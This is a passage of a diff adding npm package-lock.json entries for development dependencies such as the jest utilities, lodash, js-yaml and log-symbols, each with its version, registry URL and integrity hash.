">=7.0.0" + } + }, + "node_modules/jake/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jake/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jake/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/jake/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff": { + "version": "29.6.4", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.6.4.tgz", + "integrity": "sha512-9F48UxR9e4XOEZvoUXEHSWY4qC4zERJaOfrbBg9JpbJOO43R1vN76REt/aMGZoY6GD5g84nnJiBIVlscegefpw==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^29.6.3", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.6.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-get-type": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", + "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-matcher-utils": { + "version": "29.6.4", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.6.4.tgz", + "integrity": "sha512-KSzwyzGvK4HcfnserYqJHYi7sZVqdREJ9DMPAKVbS98JsIAvumihaNUbjrWw0St7p9IY7A9UskCW5MYlGmBQFQ==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^29.6.4", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.6.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-matcher-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-matcher-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.6.3.tgz", + "integrity": "sha512-FtzaEEHzjDpQp51HX4UMkPZjy46ati4T5pEMyM6Ik48ztu4T9LQplZ6OsimHx7EuM9dfEh5HJa6D3trEftu3dA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.6.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.6.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-message-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-message-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.6.3.tgz", + "integrity": "sha512-QUjna/xSy4B32fzcKTSz1w7YYzgiHrjjJjevdRf61HYk998R5vVMMNmrHESYZVDS5DSWs+1srPLPKxXPkeSDOA==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true + }, + "node_modules/json-parse-even-better-errors": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-3.0.0.tgz", + "integrity": "sha512-iZbGHafX/59r39gPwVPRBGw0QQKnA7tte5pSMrhWOW7swGsVvVTjmfyAV9pNqk8YGT7tRCdxRu8uzcgZwoDooA==", + "dev": true, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonc-parser": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.0.tgz", + "integrity": "sha512-gfFQZrcTc8CnKXp6Y4/CBT3fTc0OVuDofpre4aEeEpSBPV5X5v4+Vmx+8snU7RLPrNHPKSgLxGo9YuQzz20o+w==", + "dev": true + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/keyv": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", + "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", + "dev": true, + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/ky": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ky/-/ky-1.0.1.tgz", + "integrity": "sha512-UvcwpQO0LOuZwG0Ti3VDo6w57KYt+r4bWEYlNaMt82hgyFtse86QtOGum1RzsZni31FndXQl6NvtDArfunt2JQ==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sindresorhus/ky?sponsor=1" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lazystream/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/lazystream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/lazystream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/lines-and-columns": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-2.0.3.tgz", + "integrity": "sha512-cNOjgCnLB+FnvWWtyRTzmB3POJ+cXxTA81LoW7u8JdmhfXzriropYwpjShnz1QLLWsQwY7nIxoDmcPTwphDK9w==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/listenercount": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", + "integrity": "sha512-3mk/Zag0+IJxeDrxSgaDPy4zZ3w05PRZeJNnlWhzFz5OkX49J4krc+A8X2d2M69vGMBEX0uyl8M+W+8gH+kBqQ==", + "dev": true + }, + "node_modules/load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", + "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/load-json-file/node_modules/parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", + "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==", + "dev": true, + "dependencies": { + "error-ex": "^1.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-app": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/locate-app/-/locate-app-2.1.0.tgz", + "integrity": "sha512-rcVo/iLUxrd9d0lrmregK/Z5Y5NCpSwf9KlMbPpOHmKmdxdQY1Fj8NDQ5QymJTryCsBLqwmniFv2f3JKbk9Bvg==", + "dev": true, + "dependencies": { + "n12": "0.4.0", + "type-fest": "2.13.0", + "userhome": "1.0.0" + } + }, + "node_modules/locate-app/node_modules/type-fest": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.13.0.tgz", + "integrity": "sha512-lPfAm42MxE4/456+QyIaaVBAwgpJb6xZ8PRu09utnhPdWwcyj9vgy6Sq0Z5yNbJ21EdxB5dRU/Qg8bsyAMtlcw==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/locate-path": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-7.2.0.tgz", + "integrity": "sha512-gvVijfZvn7R+2qyPX8mAuKcFGDf6Nc61GdvGafQsHL0sBIxfKzA+usWn4GFC/bk+QdwPUD4kWFJLhElipq+0VA==", + "dev": true, + "dependencies": { + "p-locate": "^6.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==", + "dev": true + }, + "node_modules/lodash.flattendeep": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", + "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==", + "dev": true + }, + "node_modules/lodash.pickby": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.pickby/-/lodash.pickby-4.6.0.tgz", + "integrity": "sha512-AZV+GsS/6ckvPOVQPXSiFFacKvKB4kOQu6ynt9wz0F3LO4R9Ij4K1ddYsIytDpSgLz88JHd9P+oaLeej5/Sl7Q==", + "dev": true + }, + "node_modules/lodash.union": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", + "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==", + "dev": true + }, + "node_modules/lodash.zip": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.zip/-/lodash.zip-4.2.0.tgz", + "integrity": "sha512-C7IOaBBK/0gMORRBd8OETNx3kmOkgIWIPvyDpZSCTwUrpYmgZwJkjZeOD8ww4xbOUOs4/attY+pciKvadNfFbg==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + 